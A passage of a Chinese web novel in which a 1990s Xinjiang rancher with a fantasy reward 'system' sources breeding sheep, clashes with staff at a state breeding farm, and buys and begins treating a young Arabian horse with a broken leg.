“那行，我这边帮你联系，申报材料基本用你提交到协会的就行，你也提前做点准备工作，等回头安排好了你就等着接收就成！” 姚新泉心里高兴，连连说了不少好话这才打道回府。 不过说起来既然都要养珍珠鸡了，那干脆就把别的家禽一起购入，到时候给牧场划分一块儿单独的范围用来养家禽。 她家里承包下来的牧场非常大，以如今的牛羊等牲畜的数量对草场的利用最多也就1000亩左右。不过后期还得留几片专门用来搞繁育，湖羊母羊、杜泊羊、阿勒泰羊、湖羊和杜泊羊结合的一代杂交羊、最终的三元杂交羊，这些都得分开饲养，也方便她进行观察和照料。 家禽也得跟牲畜分开，毕竟双方的病原体种类不同，混养的话容易导致病毒传播变异，给自己造成损失。而且羊也就算了，牛要是踩一下鸡鸭，那肯定立马就死，所以必须得分开。 这样一来等天气暖和一些之后就得立马把牧场划分区域了，虽然又会产生一些成本，可是划分了也好，方便轮牧，也不会对草场造成太大的破坏。 算了算之后要花的钱，姚新泉只觉得心也痛肉也痛！看着上次那批羯羊卖了些钱，但是扣除掉买入的钱、饲料育肥的钱、人工成本之后就已经缩水一大截了。 现在在算一算未来的开支姚新泉是真觉得发愁，可若是空置着牧场又觉得浪费资源。 倒也可以租借给别人用，但是万一人家破坏了牧场、过度放牧，那不仅自己要承担相应的责任，后期恢复草场花费的钱那就更多了啊！ 姚新泉叹气，算了，多花一点就多花一点吧，反正手头上也不是没有钱，贷款也还有一阵子才需要还，自己辛苦一点，只要这批牲畜跟家禽都没什么问题，那自己应该能好好回一波血！ 第52章 田学林从坐上火车开始整个人都是懵的,不是，他一个年纪轻轻北大毕业的集团中层管理为什么要去湖州去调查一家种羊场的经营情况？ 什么湖羊？他涮羊肉都只吃内蒙和新省的好吗！ 可怎么办呢？小老板回来了要求他去调查情况，而大老板又同意,还能怎么办,只能老实去喽！ 他也是实在搞不清楚了,公司业务到底跟种羊有什么关系？难道说之后老板打算进军畜牧业？可是他前一阵子不是还听说老板想进军计算机行业吗？ 哪怕有一肚子不解,田学林业只能老实去了湖州。 下了火车后车站没见到出租车,他只能无奈上了一辆三轮车直直去了湖州金太阳种羊场。 蹬三轮的师傅听到他的目的地后还有点奇怪,“同志啊你要去种羊场吗？要我说咱们种羊 场的羊都挺不错的，只是不知道怎么回事这两年听说好像都没什么养殖户从他们这里买羊，我邻居的亲家家里小儿子就是种羊场的，看那个意思估计得下岗了啊！” 他又是唏嘘又有点幸灾乐祸,当初他们一个个进了场的都觉得是拿到一辈子的铁饭碗了,在他们这些人的面前都高人一等。 现在三四十岁下岗也不知道能不能接受得了！世事无常啊！ 田学林挑了下眉开始跟师傅聊了起来,等下车时候对于种羊场的初步认识已经有了。 这是本地唯一一家国营种羊场，专门做湖羊的繁殖和培育的，规模不算特别大,但是也不小了,巅峰时期每年能送出去十来万只羊羔。 但这两年经营不利，员工已经好几个月没发过工资了。不知道为什么别说国营牧场了,就连私人老板都没来下过单子。 场子里的羊羔吃喝什么不要钱？这几个月已经陆陆续续卖掉了不少羊羔,既是给场子回回血,也能减少点饲养成本。 田学林下车打量了一下种羊场的门头,看上去已经有些年头了。 他想了想打算假借要采购为由去了解一下情况，本以为会被保安拦住，但是直到进了场子都没有人拦他。 田学林伸着脖子往保安室里看了一眼，好家伙,根本没有人在。 他轻轻皱眉，连保安都没有，外人随意进出，看来这场子是真的不行了啊！ 他进了场区看了一圈，竟然一个人都没有，更是无语，就算场子明天要破产倒闭，今天也得把最后一班岗站完啊！ 山门大开丢了什么责任谁承担？ 他继续往里走去，不知怎么就摸到了饲养区域，终于见到了一个愁眉苦脸的中年女人。 “大姐你好，我是想来买种羊的，但我进来转了一圈就只见到你一个，其他人呢？” 大姐正在给羊喂饲料，田学林探头看了一眼眉头皱得更紧了。 这羊怎么这么瘦？他眼中闪过一抹嫌弃，不会是有什么寄生虫吧？ 大姐回头看了他一眼，像是没什么谈兴，“人都去政府门口要工资或者要求安置了，场子里就我一个。” 她是不想要吗？还不是因为她闺女就在政府部门里面工作，自己要是去闹被熟人看见肯定影响不好所以忍着没去。 “你走吧，现在也没人招待你，也没人来处理这个事儿”，大家都忙着解决自己的事情，哪有功夫顾忌这些畜生？ 再说了虽然是来买羊，但是他一个人能买多少？也不可能把所有牲畜都买下来或者给种羊场一条生路，谁乐意理他？ 田学林听了这话便也不急着去找其他人了，他探头在羊圈里看了一圈，大姐也不拦他。 “大姐，这些羊都是母羊吗？有没有生过呢？是种羊吗？场子里就这么多了吗？都在这了吗？这有多少只啊？” 大姐见他还不死心又叹了口气，反正也没别人跟自己说话便介绍了起来。 “这里就300只湖羊，全是刚成年只生过一胎的小母羊，这在场子里算是最贵的牲畜了，可全是我饲养的呢！” 对于母羊来说，经产母羊是要比未生产过的贵一些的，因为它们的繁殖能力已经经过验证了，而且有过照顾羊羔的经验。并且这种买回去就能直接配种，只要不是产过多胎损伤了身体或者年龄太大，一般这种会比小母羊更贵。 “你应该也打听过咱们经济效益不好，也买不起饲料了，只能养一部分的羊，别的这段时间断断续续卖出了，只有我养的这一批跟后面的一批育肥的小公羊最终留了下来。” “那这些羊都还健康吗？” 大姐白了他一眼，“要是不健康不早就跟别的羊一起被处理了？” 田学林想了想也是，不过这些羊这么瘦，还是得找兽医来确定一下才行。 两人又聊了几句田学林便离开了，之后他花了两天时间把这中间的事情全部理清楚后找了家公用电话给师月江打电话。 “小老板，事情我已经全都查清楚了！”终于快要离开了，激动！ 师月江鼓励了他几句就示意他继续说，希望是好消息吧！ “种羊场里这两年确实没有太多生意，不过就跟大多数国营厂子遇到的情况一样，如果能度过这段阵痛期倒也能缓过来，但是很可惜他们遇到了心怀不轨的人。” “有私企恶意抢夺生意，导致种羊场原本还剩的客户也全都被抢走了，这样一来种羊场便长期处于亏损状态，财政上也很不好看，所以本地政府决定抓大放小，将种羊场出售。” “原本场里的羊养不起也没人愿意作为种羊收购，在员工大半年未发工资的情况下，场里征得上面的同意已经处理了绝大多数种羊，如今母羊仅剩300只，据我了解到的来看，这300只羊是谋划着接手这家种羊场的私企老板为自己留得火种。” “我查到了这家私企在当地畜牧行业里很是有一些影响力，家里亲戚在行业协会、政府部门都有任职，他们收购这家种羊场的可能性最大，不过也没少在中间搞鬼。” 田学林有些不屑，也就是他想走正道，这些招数他是看都看不上！ “我想办法看到了他们的资产评估造价，很明显没有剥离隐形负债，把职工的医疗费、安置费等等都排除在了收购价之外，减轻了私企的收购负担。” “同时我也打听到了他们已经在搞通过以种羊场的资产作抵押支付收购款的操作了，等目的达到之后再通过破产核销债务，到时候倒霉的是国家跟职工，私企老板美美拿到钱走人。” “那批留下来的种羊我也托兽医去看过了，都没什么病，只是最近场里人喂养不上心所以都显得瘦巴巴的，回去好好养养就成。” 师月江听完之后很是满意，哥哥的人的工作能力就是强！ “这样，田总监你把这事儿捅到农业局的何主任那里，这几天我也了解了一下，目前管理他们这家种羊场的是一位姓黄的人，这人何主任有矛盾，你把事情捅出去然后再提出收购那一批300只种羊的事情，相信能谈下来的”。 帮他打击了政敌又避免了国有资产流失，相信这个小忙他肯定会帮的！ “另外运输问题你也谈一谈，如果能谈下来最好，辛苦了！” 师月江满意地放下了电话，湖羊的事情差不多搞定了，杜泊羊那边农大也已经在办相关手续，等非洲那边谈好了这边就能办手续了！ 姚新泉自然是还不知道这个好消息，她现在正在萨伊普种羊场参观呢！老实讲，不是很愉快。 她本来以为种羊场面向个体户这个事情既然已经确定了，上面都已经采取措施，并且他们也派人去参加了本来没必要参加的会议，不就是表明自己的态度？ 那现在是在做什么？ 姚新泉指了指自己面前那个鼻孔朝天的男人，很是不解地看向站在自己身边的王林，脸上写满了疑惑。 王林叹气，放低了声音苦笑道，“他是场长的外甥。” 姚新泉都气笑了，“他是场长外甥又不是我外甥，我来花钱的他对顾客就是这个态度？” 周根才听到这话后冷笑一声，头都没抬，“有些人啊可真会给自己贴金，还顾客，兜里几个子儿啊就敢来我们国营厂？要搁早些年都该被打为投机倒把蹲监狱去！” 听了他这番癫癫的话，姚新泉莫名便没那么气了，她一正常人跟傻子较什么劲？ “王同志，我就想确定一下你们场到底是否要对外出售阿勒泰羊 的种羊以及美利奴羊的种羊？如果你们不出售的话那我就不耽误时间先回去了。” 王林没忍住瞪了周根才一眼这才对姚新泉道，“姚同志你别理有些人，我们心心念念都是希望场子更好，有些人则不知道在想些什么，没那个当地主老爷的命倒是瞧不上普通人了，也不知道高贵在哪里！” 周根才听了这话自然是忍不了了，他冲上来就推了王林一把，“你个狗东西找死是吧？” 第53章 也许是两人积怨已深,三两句话的功夫两人便打了起来，周根才看着是个壮的，实际上就是个银样镴枪头,被身材瘦小的王林按在地上打。 生怕王林下手太重把人打出事了,姚新泉赶忙上去拉架,也不知道他一个小个子哪里来的这么大力气,姚新泉都费了一番功夫才把人拉开。 “行了,去找一下你们厂子的领导吧,我比较好奇，这明明是国家政策，为什么到你们厂子就落实不了了！一个饲养员竟然能阻止顾客看羊？我真是大开眼界了啊！” 王林此时也是破罐子破摔了，这都什么事儿啊！ 不说他自己业绩的问题,他也希望场子能越来越好。从那天的会上可以看出,姚新泉不仅家大业大,同时本事、眼界都不小，又有她爸爸的余荫，这种情况下她不赚钱谁赚钱？ 国营场子如今难,他记在心里看在眼里并且想做一些什么,可这些人呢？他们就是蛀虫！ “姚同志你稍等一会儿，我去找场长”,姚新泉赶忙加了一句,“也叫上书记吧！” 虽然不敢说场长一定有问题,但是能把这种外甥弄到场里来就足够她对这位场长印象很差了！ 周根才冷笑一声才不在意呢！他舅舅自己没有儿子,将来可是指望着自己给养老的，他怎么可能不偏帮自己？ 事情并不如姚新泉所料，场长旗帜鲜明地偏帮着周根才，书记甘当睁眼瞎,姚新泉气笑了，“行，既然你们看不上我这小家小户的生意，我也不求着你们，告辞了！”说完也没再说什么转身便离开了。 她是离开了，但这件事在萨伊普种羊场却没消停下来。 王林敢跟周根才动手是因为什么？是因为他家两代人还有不少亲戚全都是种羊场的职工，他们把种羊场当家，自然是容不得有这种败类在其中！ 王林带头写了一封联名举报信，连同场里大多数职工一起交到了农业局，农业局自然是很重视，并展开了一系列调查。 不过后续的事情姚新泉都不太清楚，此时她也是一肚子的火。 萨伊普种羊场在他们隔壁县的郊区，车站在县另一边，早晨来的时候是王林骑摩托车去接她的，这下可好，只能走着回去车站了。 她心里憋着一股火，这都什么年代了，都1992年了，怎么还有这种蠢货觉得国营单位就高人一等啊？ 不说别的上面都下文件要改铁饭碗的事情了，他们真以为能在这个场子里待到死？ 简直是笑话！ 不合作就不合作，新省这么大，难道还找不到几只好的种公了？ 这一路上有不少依托萨伊普种羊场存在的围起来的牧场，姚新泉来的时候还有心情东看看西看看，但是现在她气压低沉根本没有心思观察周围，蒙着头就往前走。 “检测到宿主西北方3公里处有一只受伤的动物需要救助，宿主是否要救助？” 姚新泉停下了脚步，脸上写满了疑惑，她环视一圈后没忍住问道，“系统，你不会告诉我你是让我到别人家里去救助别人家养的牲畜吧？” 这周围都被围起来了，往西北走直线的话还得翻墙，这不是别人家养的还能是野生刚好落在人家牧场里的？ 可转念一想也未必不可能啊？但是这么贸贸然上门好像不太好吧？ 心里这么想着她身体却很诚实地搜寻着入口，没办法，还差25分可就能学基础兽医课程了啊！ 希望不要再来一只便宜的点点了！ 她绕着围墙走了一会儿后终于找到了大门，在门外喊了几句有人吗，隐约听到狗叫声姚新泉这才住嘴。 果然没一会儿就见到了两只黑色大狗在前面跑了过来，后面跟着一男人。 她眯着眼睛看了一会儿后眼睛瞬间便亮了！ 巧了吗这不是？ 阿合买提啊！熟人啊！不用发愁找不到借口了！ “新泉怎么是你啊？”近前看到是姚新泉之后阿合买提脸上的愁苦褪去了一些，露出了几分高兴来，“快来快来，今天怎么过来了？” 姚新泉其实有点尴尬来着，空着手上门实在是不好看，但也只能解释道，“我这不是本来去萨伊普种羊场那边谈生意嘛，结果他们没诚意，我就先走了，想到叔叔你家就在这边我就过来认认门！” 阿合买提笑着引着她往毡房里走，“我上次走的时候还想着抽空去看看你的，但回来之后一屁股的事情我就想着晚几天再去找你，没想到你倒是先来了。” 那天太忙了两人也没能好好聊聊，但阿合买提看出来她现在养殖搞得有声有色的便也拉着她问她牧场的情况。 听她说了个大概后不停地点头，“挺好的挺好的，我上次本来不打算弄那什么青贮的，但是我听你讲了之后觉得挺有道理的，所以也订购了一些到时候给家里的牛羊补充饲料。” 两人聊着的时候毡房门口突然冲过来一个人，“你赶紧去看看那马怎么办啊？不行的话就杀了吃肉吧！” 阿合买提抱歉地看了她一眼，倒是姚新泉目光一动，这应该就是要救治的动物？ “叔叔，不然我跟你一起去看看？” 阿合买提以为她在迁就自己，有些不好意思地解释，“我家里亲戚送了我们一匹纯血的阿拉伯马，家里小兔崽子非要偷摸骑马，结果今天马摔了一跤，腿断了。” 姚新泉心里一沉，马腿断了可不容易恢复啊！ 马的身体非常沉重，四肢需要支撑住那么庞大的体重，腿部的骨骼和关节都要承受很大的压力，一旦骨折，骨骼就很难在负重的情况下稳定愈合了。 而且马腿下部的肌肉覆盖也偏少，几乎除了骨头就是由肌腱、韧带组成，没有软组织的缓冲，损伤之后就很难恢复。再加上马腿远端血液循环较差，营养和氧气都供应不足，更是会导致伤口延缓愈合的。 姚新泉家里以前有一匹小马就是腿骨折了，家里也采取了一些救治措施，最终还是没能救下来，后来哪怕心里难受还是杀了出售出去了。 没办法，一匹马价值不低，普通人家根本做不到为了所谓的情感原因就不处理的。 几人到马棚的时候就看到一个比姚新泉小了几岁的男孩儿正抱着马脖子哭，阿合买提气道，“你现在知道哭了！早跟你说了马还没成年，又到处都是雪，别骑别骑，你就是不听！” 姚新泉凑上去看了一下，心里松了一口气，还好不是开放性骨折。 “系统，需要救治的动物是它吗？” 系统，“没错，就是这匹马。” “你下次再给我下个任务，让我去救人家锅里的鸡好了！”姚新泉在心里吐槽，也真是服了，不是野生动物吗？ “谁告诉你是野生动物了？你家点点野生一个给我看？” 姚新泉哽住，行，不野生就不野生嘛！ 她在心里跟系统嘀咕的时候，阿合买提那边已经在商量宰马的事情了，见状姚新泉赶忙道，“叔叔，我觉得这马还是有恢复的可能性的，你看你如果觉得治好希望不大要不卖给我？” 阿合买提一愣，他媳妇儿则是目光亮了起来，轻轻拉了下他的衣摆。 阿合买提皱了下眉头，想了想还是拒绝了，“腿断了难治，治好了也没办法恢复成以前那样了，划不来！” 姚新泉眼珠子一转，“那要不你就以马肉的价格卖给我，回去之后我治成什么样大家都不吃亏！” 阿合买提还想说什么，姚新泉就低下头摸了摸小红马的脸，它脸上湿润了一块儿，看上去特别像泪水。 阿合买提也不舍得杀啊！他想了想咬牙应下了 ，“那我想办法找车给你送回去！” 姚新泉没拒绝，两人大概估算好价格后她身上刚好带的有现金，把钱给了对方后，阿合买提的老婆看她的眼神更热情了。 她拉着姚新泉在看自家的牲畜，姚新泉看到羊圈的时候愣了一下，“这是中国美利奴羊？你们家也有繁育？”还这么多只公羊？ 阿合买提点头，有些骄傲得道，“之前种羊场忙的时候会找临时工去帮忙，我跟我媳妇儿去过，我们不要钱，就要把我们家的羊也配了，所以我们家的羊跟种羊场的羊是一样的！” 这不就是踏破铁鞋无觅处得来全不费工夫？ 事情巧合得出乎她的预料，她跟阿合买提谈起了这一批公羊的事情，“我家牧场里的细毛羊需要改良一下品种，我想用中国美利奴羊去配，你看你家羊”，话到了嘴边后她换了一句，“可以租给我吗？” 家里有五百只细毛羊母羊，自己要公羊也只是想繁育，明明可以租干什么要花钱买呢？ 阿合买提拒绝，“不用租，我借给你用！” 他家的母羊都揣崽了，就等着接春羔了，公羊在家里也没什么用，反而浪费饲料。姚新泉愿意给他养一阵反而减少他的压力呢！ 姚新泉这哪能同意？她又不是借一天两天，最起码要得借两个月！ 第54章 配种很快,但是问题在于她需要人工刺激家里母羊发情啊！ 把公羊跟母羊关在一起也是一个相对来说简单有效的办法，现在天气还冷，等一两个月之后天气就彻底暖起来了,到时候母羊经过刺激是肯定可以发情的,所以公羊不免就要多借几天。 两人又谈好了租赁公羊的价格,“叔,咱们这儿有拖拉机吗,马车或者牛车的话不方便”,货车就不用想了，他们这小地方哪可能有货车！ “有有，你放心，我现在去给你找拖拉机,得要两辆才够！我再找几个人过来帮着抬一下马,我跟你回去把马卸下去我再回来！” 阿合买提动作很快,姚新泉没等多久他就带着两个大汉过来了，姚新泉给小马用了一回治愈术之后这才小心扶着它的腿配合大家一起将马送上拖拉机。 费劲儿啊！ 姚新泉坐在车斗子后面心里忍不住庆幸自己是带了围巾帽子过来的，她低头看了一眼侧躺在自己身边睁着大眼睛看着自己的小红马,“你别着急哦,先暂时躺一躺，等回家之后我想办法给你把腿吊起来,你这样压力会小一些的。” 就算马儿受伤了也不能长期让它躺着,这会压迫到身体器官的,除非说是她一两个小时就去给马儿翻身,白天还行，晚上怎么办？ 阿合买提听到这话后叹了口气，见姚新泉看过来他露出个无奈地表情来，“觉得我要宰了它心狠是吗？” 姚新泉摇了摇头,听说那些赛马骨折后也可能会安乐死，因为真的很难治好，给他们安乐死也只是为了不让它们承受太多的痛苦，没办法，救治成功的几率太低了。 但是你要求一个在温饱线挣扎的人去考虑什么人文关怀就有点太不近人情了，也许这匹马的肉卖出去就够家里孩子读书了，或者是就能多买几只羊了，反正无论如何都不会浪费的。 “我刚听你说要把腿吊起来，你是打算用吊马兜吗？”阿合买提问道，这东西他反正是没用过，只是之前听别人提到过，反正在传统牧民眼里这马腿一断那就别想了。 姚新泉没点头，只是道，“我确实有这个想法，但是回去之后还是得跟兽医讨论一下看看有没有更合适的办法。” 吊马兜具体的出现时间已经不可考究了，但这种东西确实是治疗骨折等伤的一种辅助工具，应该已经有不短的历史了。并且随着畜牧业的发展以及兽医技术的发展吊马兜也在逐渐的发展完善。 可问题是如果马儿的骨折伤能在有吊马兜的情况下就更好更快得愈合，马骨折根本不会成为一个大难题！ 只能说有效但不多。 而且用上吊马兜的话还得注意许多问题，比方说要定时检查马与吊马兜接触部位的皮肤，避免出现类似褥疮的伤，还要适当按摩和涂抹药膏。还得要马配合活动受伤以及未受伤的腿，避免关节僵硬肌肉萎缩，反正还有挺多注意事项的。 就算全都注意到位了同样也没办法保证能痊愈！ 所以还是得好好考虑一下小红马的治疗方案啊！ 阿合买提欲言又止，他想说还是不要费劲儿了，救治它又花钱又没效果，时间一长马还要掉秤。可这马到底是自己卖给人家的，一时间心里很不是滋味。 拖拉机到了山脚下之后上山的路就麻烦了一些，倒不是别的，主要还是因为有积雪。师傅放低了速度，心里庆幸还好装了防滑链，也算是多了一层保护吧！ 大老远便听到狗狗军团的声音，阿合买提笑道，“你家的狗可真精神啊！” 姚新泉点了点头，餐标比自己都要高了，能不精神？ 几人把拖拉机直接开到了一个空置的牲畜棚里，之前在阿合买提家用的简易担架也被带来了，上去的时候没用上姚新泉，但是这次姚新泉还有两位开拖拉机的师傅、阿合买提四人一起用力，小心将小红马抬了下来几人这才松了一口气。 两位司机跟阿合买提帮忙将25头公羊关到了棚子里，姚新泉则是先赶紧去家里找了两条干净又结实的粗布床单，然后在马棚里转了转，找到了两根高度跟粗细都合适的房梁，爬上梯子将床单的一端绑在房梁上又用力拽了拽，感觉还挺紧的，又比划了一下长度，把马身体兜住剩下的长度也够绑在另一边房梁上，刚好。 这两条床单是家里以前还住老房子的时候铺在炕上的，专门去店里扯得布，特别长，如果是现在外面卖得四件套里的床单那是肯定不够的。 几人一起将小红马抬到边上后，再用力将小红马扶起来。它似乎也知道这些人是想帮它，配合着使劲勉强用三条腿支撑站了起来。 姚新泉赶紧将床单穿过它的腹部将它的身子兜住，想往上挂的时候无奈叹了口气，“叔叔，你们帮我扯一下这块儿布，它太重了我自己抬不动。” 别看她的力气是被系统加持过的，但也这是个力气比较大的普通人，听阿合买提讲这匹小马现在也才2岁，是纯血阿拉伯马，也不知道他朋友是哪里来的纯血马。 阿拉伯马一般寿命大概在30-35岁左右，个别能有40岁，算起来差不多是3岁左右成年，所以小红马现在还没成年，只能算是一匹少年马。 而且阿拉伯马也不是大型马，算是中型，就算成年了体重也就最多500公斤，小红马现在差不多300公斤左右，在它这个年龄算是很不错的了！ 要真站在平地上姚新泉可以抱起100公斤左右的重物，短暂用力的话120公斤也能勉强撼动，再重就不用想了。 这个力气比起普通人，甚至是常年从事体力劳动的壮年男性已经要大了不少，她已经很满意了。 但是这个力气在面对小红马的时候就很是勉强了，尤其她还站在梯子上，根本扯不动布好嘛！ 几人笑着过去调整了一下布的位置，又一起用力将马肚子兜起来，姚新泉眼疾手快赶紧把布捆在房梁上。 然后又把另一块儿布也兜好，保险一点，都弄好了之后她才下来。 几人围 着小红马转圈看，眼神里满是惊讶，“这样就可以了吗？不压迫到腿马儿就能恢复了吗？” 另一个司机也忍不住感叹，“要是真能治好，你以后还能专门给马治病，估计也很赚钱！” 阿合买提没这么乐观，可也没忍心打击她，反而鼓励地拍了拍她的肩膀，“你有什么需要就跟我说！” 姚新泉笑着点头把几人送走了，拖拉机的钱是阿合买提付的，算是包运输了。 送走几人后姚新泉回到小红马身边小心调整了一下床单，这床单确实结实，但是粗布摸上去硬邦邦的，虽然马皮也厚，但是这也不是一天两天就能好的，一个月两个月三个月下来小红马肚子上肯定受不了，得给它想想别的办法。 姚新泉起身摸了摸小红马的头，它也往姚新泉手上蹭了蹭，看上去很是依赖的模样，姚新泉心都化了，没有人能在一匹小马用湿漉漉的眼神看着你的时候硬起心肠的，没有人！ “你不要担心，你刚才感受到了吧，我可以让你舒服一些的，我也会去联系兽医来看看你的伤情，跟他们讨论一下用什么方案治疗你最好”，她轻轻碰了碰小红马受伤的那条腿的上半部分，“你放心，我一定尽力治好你！” 她说话的时候马棚子的门不知道怎么就开了，从外面鬼鬼祟祟探出一个马头来，姚新泉回头看过去满脸都是无奈，“皮皮！” 隔离呢，这个死孩子非要过来！ 她硬起心肠把皮皮往外哄，“行了行了，后天，后天让你俩一起玩可以吧？”皮皮倒还好，可当她看到小红马那可怜巴巴的眼神时还是心软了，孩子都受伤了，让朋友陪陪也好。 “你先乖乖待着，脚不能落地，我过会儿给你准备饲料。” 姚新泉的心绪并不平静，就算她不是专业兽医但是她也知道，马腿骨折之后本身的伤情恢复很麻烦，但是还有另外一个很令人绝望的伤病在身后追着伤马。 蹄叶炎！ 马儿正常情况下就是需要站着的，习惯了四条腿分担重量，当只剩下三条腿的时候，三条腿承受的压力倍增，就很容易引发蹄叶炎。 想象一下的是指骨在指甲盖后面翻转90度是什么感觉？ 蹄叶炎严重时候就是这种感觉！ 而且蹄叶炎是不可逆的，最多就是防止不要进一步恶化。 所以对于伤马来说，即便腿伤真的愈合了，万一患了蹄叶炎同样会给它带来剧烈的痛苦，根本无法忍受。费时费力治疗半天之后可能结果还是去结束它们的生命，这就是为什么绝大多数牧民并不会去尝试治疗它们。 付出和回报不成正比，而且还可能会增加马儿的痛苦，既然这样的话那为什么还要勉强呢？ 可如果系统没有派单也就罢了，既然派了，自己也接了，那如果不倾尽全力尝试一次，姚新泉自己也会不甘心的。 就当是给小红马也是给自己一个机会吧！ 第55章 姚新泉出了马棚之后先去看了25只公羊,都是适龄的健壮公羊，阿合买提自己就做过初筛，这批羊的身体条件都非常不错。除此之外它们的毛的质量也不低,满足姚新泉的要求。 暂时先隔离两天,等没什么问题之后再合笼,放到母羊圈里去。 她给家里牛羊马都喂好饲料之后才开始给小红马配饲料,家里没有什么牲畜用的营养补充药剂,所以只能先给它配了蛋白质饲料豆粕、易消化的能量饲料苜蓿草,然后又给他了两颗梨补充维生素，又把清水给他放好这才回到了客厅。 她也没心思做饭，坐在那便开始问，“系统,救助小红马奖励多少积分？” “25积分哦！” 蹭地一下姚新泉便站了起来,“那我现在是不是能买兽医课程了？” “不是哦！” 姚新泉眉头皱了起来,“为什么不行？点点1分，小金15分，小狼崽15分,莱尼15分,高鼻羚羊30分，加今天的25,这已经101了,我凭什么不能购买？” “宿主,系统要求的是救助,你只是把它带回来了，暂时避免了它被杀，可你自己也知道无论是腿伤还是虎视眈眈的蹄叶炎，哪一个都能要了它的命,你救好了吗？” 点点、小金、小狼崽本身就没什么大问题，只要脱离当时的环境也不需要救治。 莱尼的话是有被冻伤的，但是时间短不严重，过一段时间也能自愈。 至于高鼻羚羊能有那么高的分更多的是因为它足够珍惜，两只里面的小男孩虽然受伤了，但是不致命，小女孩更是完好无损，所以当姚新泉把它们带回来之后系统基本都在第一时间给了积分。 可小红马不是啊！它现在还没脱离危险期呢！ 姚新泉咬牙，表情有些难看，她又不是学医的，除了一些经验以外她倒也看了两本书，可兽医又不是我翻两本书就能胜任的？虽然看起来好像没有什么准入门槛，但是这治病你能不能治好这不是一目了然的？ 现在明明可以买课了，可系统卡她！ 姚新泉气得不行，半天后才冷静下来卖惨，“系统，你也知道我的难处，别说找艾力大夫了，就算我找到北京去有几个兽医敢拍着胸脯跟我说一定能治好它？” 小红马的伤情相对来说不算太严重，不是开放型骨折，它的体重也不算特别大，所以还有一些希望，如果现在给她来一匹一千公斤的大型马，那还是算了吧，这积分她不要了，别死在她眼前让她难受了！ 可就算这样，她也需要许多的知识来充实自己，医疗知识、饲养知识、护理知识，各个方面的。如果她不能在每一个方面都做得好，又怎么能敢拿小红马的命和痛苦去赌呢？ “你既然给我发了这个任务，又给了这么高的积分，不就是说明你希望我能接，并且能治好它吗？你总不能就是为了看我治不好它，眼睁睁看着它痛苦而死然后陷入自责崩溃的情绪才发的任务吧？”姚新泉循循善诱，她能感觉到系统已经动心了。 “我也不是要你白给我积分，我知道你说的也确实有道理，那这样你看行不行？我借，我先问你预支这25积分，然后购买兽医课程好好学习，等我治好了我这不就能把积分还回去了？” 系统沉吟了一会儿，就在姚新泉咬牙想要说自己可以给利息的时候它终于答应了。 “行，那系统预支给你25积分，你是否要购买初级兽医课程？” “购买！”姚新泉用力锤了一下自己的左手，虽然是提前消费但是能购买课程怎么都成！ 她点开系统下发的课程后，眼前突然出现了一块儿屏幕，上面像是一块儿黑板一样，会凭空出现字，还有老师的声音以及突然出现在她手上的一本书。 “系统产物无法给除你之外的其他人看到”，也就是说这本书在别人看来可能是一本装订好的白纸或者本子，反正不是一本《初级兽医学》。 姚新泉按捺住心中的激动，先按照系统的指导暂停了课程，并翻看起了手中的教材，先预习一遍之后再看讲解吧！ 翻看两页后就先放下了，小马才受伤得及时治疗不能耽误了，不说别的，肯定是要做外固定的啊，不然骨折端万一再发生移位或者愈合畸形那更完蛋！ 姚新泉收拾收拾赶忙下山去找艾力兽医，刚才上山的时候忘了把他接上还挺耽误事情的！ 等艾力听说她要救一匹骨折的马，而且还是买回来的时候表情很是一言难尽，到底不是自家孩子也不好骂她，只能垮着一张脸跟着她上山，姚新泉要帮他背东西他也不高兴，看的姚新泉有点尴尬。 确实，在不少人看来她就是傻。 可姚新泉想过了，即便是最坏的情况她也能接受，而且当时不是还想着只要带回来就有25积分嘛！谁能想到系统这么精！竟然得得是救治成功了才有积分！ 一路上艾力都没有说话，等到了牧场后还是没忍住叹气，脸上多了几分无奈，“你说说你，你哪一分钱是赚的轻松的？都不说别的了，冬天你一个人喂几百只牲畜，轻松吗？你别觉得你赚了点钱就能乱花了，你贷款不要还啊？不要买别的牛羊了？冬天的饲料怎么办？万一再有点儿什么疫情，你日子还过不过了？” 姚新泉听着他的数落虽然有些尴尬，但还是很感谢他，“不贵，我就是按照肉的价格买的，如果能养好了这可是纯血阿拉 伯马呢！” 艾力冷笑，养好了？“你能养好还是我能养好？” 他也不想多说了，进了马棚之后当他看到委屈巴巴站在那边的小红马时有一个瞬间突然就懂了姚新泉为什么要花钱救它了。 这小家伙品相真好！ 阿拉伯马本身就是不少优质马的母本或者父本，这一头还是纯血的。光看外观，头部呈楔形，前额宽阔，面部凹陷，眼睛又大又深邃，鼻孔也大，方便散热。 耳朵短小直立，听到声音后转动得也非常灵活，间距也宽。 喉咙部位长度合适也很灵活，耐力估计不错。 再看体型跟骨骼、毛发还有尾巴，没有一个地方不美的！ 这匹马如果成年了，是可以放到教科书或者宣传册上去的好马啊！ 想到这里他又满脸都是遗憾，可它骨折了，马骨折了可咋整啊！ 他也不想数落姚新泉了，要是他有钱保不准也会买一匹试一试呢，万一呢？要是死了也太可惜了吧！ 小红马见到生人有些紧张，姚新泉赶忙上前摸了摸小红马的耳朵，“给你检查检查伤情，不要怕啊！” 艾力弯着腰看向那条伤腿，是闭合性骨折，外部只有轻微的挫伤，基本没有出血，他凭经验碰了碰后回头道，“你就庆幸吧，骨折移位不是太明显，软组织损伤也不严重，而且这匹马年龄也小，新陈代谢旺盛，恢复的可能性相对要大一些！” 他目光很是赞许地落在了兜住小红马的床单上，“这个还不错，我之前去学习的时候老师讲过，但是我还没什么机会实践”，他作为兽医这一片的牲畜都是由他去治疗的，但是涉及到马的伤病，基本没有谁会让他去治疗马腿骨折的伤，差不多都是断了那就宰了卖肉减少损失。 “要用石膏固定一下吧？”姚新泉问，就算移位不严重，小马可能自己都控制不了会碰到伤腿，还是得有个外固定才安全一些。 艾力点头，“要，我把东西带来了。我刚给他触诊了，伤情保守治疗比较合适，我给它把石膏打上！” 他出去团了一个雪团子进来后朝姚新泉道，“你按住了，我先给它冷敷稍微缓解一下疼痛”，这也就是没有暴露性伤情，不然哪能直接用雪来降温？ 姚新泉摸了摸小红马的耳朵，低声跟它讲着让它不要激动，再给它治疗。 小家伙虽然没办法准确理解姚新泉的意思，但是能感受到她的态度，他扭过头来一头扎在了姚新泉怀里。 艾力嘿了一声眼中有了笑意，“你们倒是有缘！” 他稍微冷敷了一会儿也不敢太久不然冻伤了就不好了，见小红马老实便也大胆了一些拿出剃刀来把伤腿上的毛全都剃掉后，又去兑了点温肥皂水清洁皮肤，再用碘伏消毒了一遍。 “你按好了啊，它要是给我一脚我后半辈子肯定就赖在你家了！” 